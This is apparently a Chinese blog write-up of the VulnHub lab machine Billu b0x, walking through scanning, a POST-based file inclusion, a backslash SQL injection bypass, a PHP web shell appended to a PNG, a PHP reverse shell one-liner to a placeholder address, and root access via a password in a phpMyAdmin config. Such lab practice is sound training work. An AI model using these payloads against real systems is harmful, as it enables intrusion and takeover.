目录
写在开头
第一步:主机发现和端口扫描
第二步:Web渗透
第三步:利用文件包含进行代码审计
第四步:图片马上传与反弹shell
第五步:敏感文件提权
总结与思考
写在开头
我的博客等级终于到三级了,感谢各位读者的支持!现在可以自定义文章标签,不用每篇博客标签都是Web安全了嘿嘿...
本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机的难度也不高,但还是有很多值得思考的地方,尤其是对php代码的理解。本文的打靶过程涉及到关于SQL注入、文件包含漏洞利用、php代码审计、图片马的制作等。打完这个靶机还有一个启发:信息搜集如果能更加完整,会省很多兜圈子的操作。完整打靶思路详见:
「红队笔记」靶机精讲:Billu b0x - 大练兵,涉及SQL注入,文件包含,代码审计和图片木马,细节满满。_哔哩哔哩_bilibili
本文针对的靶机源于vulnhub,详情见:
billu: b0x ~ VulnHub
下载链接见:
https://download.vulnhub.com/billu/Billu_b0x.zip
本靶机的目标是拿到root权限。下载成功后用vmware打开,将网络链接设置为NAT模式。靶机打开之后如下:
第一步:主机发现和端口扫描
常规思路,不细讲了。有关主机发现和端口扫描的命令详见我的这篇博客中关于nmap的部分:渗透测试:主机发现和端口扫描的思路方法总结(nmap+ping命令+nc.traditional+伪设备连接)
nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.135
nmap -sT -sV -O -sC -p22,80 10.10.10.135
nmap -sU --min-rate 10000 -p- 10.10.10.135
nmap --script=vuln -p22,80 10.10.10.135
扫出来靶机的ip是10.10.10.135,仅仅开放了22和80端口,看来这回的入口点就是Web了。再使用默认脚本扫描,并探测开放服务和操作系统版本如下:
可以确定是一个Ubuntu的机器,内核版本有个范围。80端口是用的apache服务,版本为2.2.22。漏洞扫描也没看出个啥。
第二步:Web渗透
由于开放了80端口,直接浏览器访问试试:
是个很炫酷的登录界面,同时登录框上面还写了一句话,向我展示你的SQLI技巧,那应该这里就是考察SQL注入了。管他三七二十一,把Username和Password都先用万能密码试一试:
' or 1=1 #
果然不对,每那么简单,万能密码是无法登录的,也没有出现报错提示信息,仅仅弹框提示Try again。
看了一眼源代码也没发现啥有用的东西,干脆整个目录爆破看一看。平常目录爆破总用dirb,这回换一个,用gobuster试试吧。
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.135
dir指定进行目录枚举,-w指定字典,这里选择比较常规的的directory-list-2.3-medium.txt,-u指定url,爆破结果如下,还是有很多信息的:
那就一个一个看吧,先看images,这应该是个目录:
这个路径直接暴露了目录下的几张图片,其中一张是登录界面的图片。说不定未来我们可以在这里上传shell。然后继续查看其他路径。index路径就是初始界面,/in的路径界面如下:
这个页面就是phpinfo()的页面呀,还是有很多有意义的信息,包括php的版本、Linux内核的具体版本是3.13.0-12。我们继续看剩下的目录,/c和/show都是空白页面,没有什么信息,/add界面貌似可以进行图片上传:
经过我的尝试,发现这里是无法上传图片的。可能此时我们还没有拿到合适的权限。然后看/test路径:
这个界面就有意思了,提示我们说file参数是空的,请给file参数提供路径。莫非这里存在文件包含的漏洞?而file就是文件包含的关键参数。那么我们尝试在url中给出file参数,尝试读取/etc/passwd文件试试:
然而并无反应,再将路径换为../../../../../../etc/passwd也无法读取。那既然get请求无法获取,莫非这个file参数是在post请求中的吗?那咱就试一试嘛,可以用burpsuite这种工具进行改包进行POST请求,我这里就直接用curl进行请求,采用post的方式添加参数即可(-d相当于--data,添加POST的参数):
curl -d "file=/etc/passwd" http://10.10.10.135/test
读出来了!这是个重大突破呀,我们发现了文件包含的利用位置。因此我们可以通过file这个参数去读取靶机内的文件了。看一眼这个passwd文件,重点寻找有bash的用户,发现除了root,就只有一个ica,这或许是我们重点关注的账户。尝试读取/etc/shadow,发现失败了。不过这应该确实是个关键的位置,一会我们读取其他文件的时候应该会起到作用。先看下一个文件吧,/head和/head2都是一张图片没有太多价值。而/uploaded_image目录又暴露了一些图片,点开看好像都是加勒比海盗杰克船长的图片,可能未来也有在此上传shell的可能。
可以哈,这剧照还是挺炫酷的。下一个路径是/panel,会被重定向到初始登录界面,有理由怀疑,这个界面就是登录后的路径,由于此处我们还没有登录,因此直接访问会被重定向。
总结下Web渗透的过程,我们进行了目录爆破,发现了几个有价值的目录和文件路径,其中/image和/uploaded_images都是图片的目录,且暴露了目录下的图片。我们还发现了关键的路径/test中的file参数存在文件包含,可以读取系统中的文件。
第三步:利用文件包含进行代码审计
下面我们利用/test路径下的参数file读取靶机系统中的文件,可以先看一看网页的源代码。先查看index.php试一试吧:
curl -d "file=index.php" http://10.10.10.135/test
可以看到index.php中先包含了两个文件c.php和head.php,继续往下看,惊奇的发现了登录的逻辑:
这里的核心逻辑就是三行:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
可以看出,还是对输入的username和password进行了拼接,只是将前端输入的内容中的单引号转换为了空字符(过滤掉了单引号'),那么如果我们把username和password都设置为万能密码后加一个反斜杠\,即可成功注入,即为:
or 1=1 #\
当然也可以设置为:
用户名:\
密码: or 1=1 #
这样进行注入的大致思路我的理解就是反斜杠(\
)会被解释为转义字符。登录成功后,成功进入了panel.php。说实话,这种注入思路在红队笔记大佬的视频中被说是显然,我其实感觉还是有点不清晰。
这个界面可以看到两张图片和地址,这两张图片有点眼熟呀,不就是/uploaded_image目录下的文件嘛。同时我们还可以在这个页面上传图片。经过测试是能够上传的,那我们可以回头试一试能不能上传图片马。此时我们先进行代码审计试试:
用文件包含漏洞读取c.php的源码:
貌似得到了一个数据库的账号和密码。结合之前passwd文件中的用户ica,我们可以尝试用这几个数据进行ssh登录,很遗憾,都失败了(仅仅是碰撞尝试)。(后来才知道,这个数据库密码是有作用的,只是这篇博客的思路没用上)。又读了其他php文件,并没有太多收获。
第四步:图片马上传与反弹shell
既然panel这个页面可以上传图片,那我们尝试上传个图片马吧,首先搞一张图片,比如我随便传了一张图片到kali,名为just_sleep.png:
我们构建一个shell.php,代码如下:
<?php system($_GET['a']); ?>
把这个shell.php追加到just_sleep.png图片中:
cat shell.php >> just_sleep.png
当然你也可以直接vim just_sleep.png,在图片的末尾加上<?php system($_GET['a']); ?>
这样这个图片马就做好了,把他上传到panel界面,还要填写address,name和序号 ,随便填写即可,然后上传成功了:
回到/upload_image目录,确实可以看到我们上传的图片马:
但是在这个界面点击just_sleep.png是无法触发php的代码执行的。那么我们就要寻找其他的路径触发php代码执行。首先想到的路径就是panel.php本身,因为这个php页面可以包含其他的php文件,因此我们重新访问panel.php并用burpsuite抓包如下:
可以看到请求中load参数添加的是show,我们修改这个参数为刚刚图片马的路径,并在请求体的第一行添加命令a=whoami,看看能否触发代码执行:
成功触发代码执行了,那么我们只要把命令改为反弹shell即可,反弹shell的命令为:
php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/bash -i <&3 >&3 2>&3");'
其中的x.x.x.x为接收反弹shell的地址,即kali的地址。建立nc监听1234端口后,在a参数中添加反弹shell的命令,发现并没有反弹shell:
可是之前已经尝试了,刚刚这里已经成功代码执行了呀。那估计就是url编码的问题了,我们把这个反弹shell的语句进行url编码即可反弹成功:
第五步:敏感文件提权
既然已经进来了,那下一步就是提权,先尝试sudo -l查看当前的权限:
没有tty,这是shell不完全的问题,用python启动一个shell:
python -c "import pty;pty.spawn('/bin/bash')"
然后在此执行sudo -l
问我们要密码,我们是反弹shell进来的,不知道密码。看来此路不通。那就到web目录翻找翻找,看看有没有什么敏感文件之类的吧。
发现当前目录基本上都是目录爆破的结果,我们都看过了,但有一个phpmy的目录,之前没有爆破出来。这有可能就是phpmyadmin的管理系统。我们进入这个目录看看有没有啥配置文件:
果然就是phpmyadmin的管理系统,可以看到配置文件config.inc.php,我们查看这个配置文件:
看到了一个用户名和密码,恰巧用户名就是root,这应该是个数据库的密码,不过我们也可以碰撞尝试ssh登录root账户,密码roottoor。发现直接ssh登录了root账户。
成功拿到了root权限,至此这个靶机就打完了。
总结与思考
这个靶机也不难,但是细节还挺多的。比如使用POST的方法寻找文件包含的漏洞参数、读取index.php的源码确定sql注入的逻辑、上传图片马、找到触发图片马执行的路径、反弹shell的指令要进行url编码、敏感文件搜索碰撞数据库密码与ssh账号密码等等。最后还是总结以下本文的打靶过程:
1.主机发现和端口扫描
2.Web渗透:目录爆破扫出来一大堆文件,找到了一个/test路径提示存在文件包含,最后使用POST方法成功触发了读取文件。
3.SQL注入:文件包含读取index.php的代码逻辑,发现登录框还是使用了拼接的语句,存在sql注入。成功注入登录进入了panel页面。
4.图片马的上传。上传图片马后直接访问图片马的路径无法执行php代码,需要通过访问panel再进行改包加载图片马,添加反弹shell的命令触发代码执行。
5.敏感文件搜索发现phpmy目录,进入后找到了一个用户名root和密码,尝试ssh登录即可获得root的shell。
同时这个靶机也给了我们一个启示: 信息搜集如果能更加完整,会省很多兜圈子的操作。如果我们在最初进行目录爆破的时候就爆破出了phpmy这个目录,找到文件包含的路径后就可以直接读取其中的config.inc.php从而获取ssh登录的root凭据,就不用兜圈子走这一大圈了。不过绕了这一大圈也是有不少收获的。
另外本文还有另外一种思路,就是如果我们开始扫到了phpmy,web访问这个页面的结果如下:
这是phpMyAdmin的管理界面,如果能登录其中,必然可以看到很多关键信息。而这个登录密码可以通过文件包含读取c.php得到:
登录成功后即可看到很多数据库的信息,可以直接获得web界面的登录密码,无需再注入了。
最后我还是想吐槽一下CSDN中的许多打靶文章,有种已知答案猜答案的感觉,既然有为了扫描出phpmy而专门换字典的(你都知道有phpmy了还扫个p),还有直接爆破ssh直接root(照这种扯淡思路,建议以后开放22端口的靶机直接爆破root)的,我感觉这些都缺乏逻辑。然后我尝试了一下如何能扫描出phpmy,用dirb的默认方式,或使用字典directory-list-2.3-medium.txt都是无法爆破出phpmy的,这是字典比较小的问题。如果使用字典/usr/share/wordlists/dirb/big.txt 进行爆破确实是可以爆破出phpmy的,看来以后要换大字典了。
我还试了一下,使用dirsearch的默认方法也可以扫出来phpmy。信息搜集一定要全呀!
学习渗透一定要实操呀!到此这个靶机就讲解完毕了。靶机不难,总结不易,打靶的过程要有自己的思考,不能只是单纯的复现writeup。近期打算再总结总结渗透中的信息搜集思路以及其他技巧,希望读者能够点赞关注多多支持。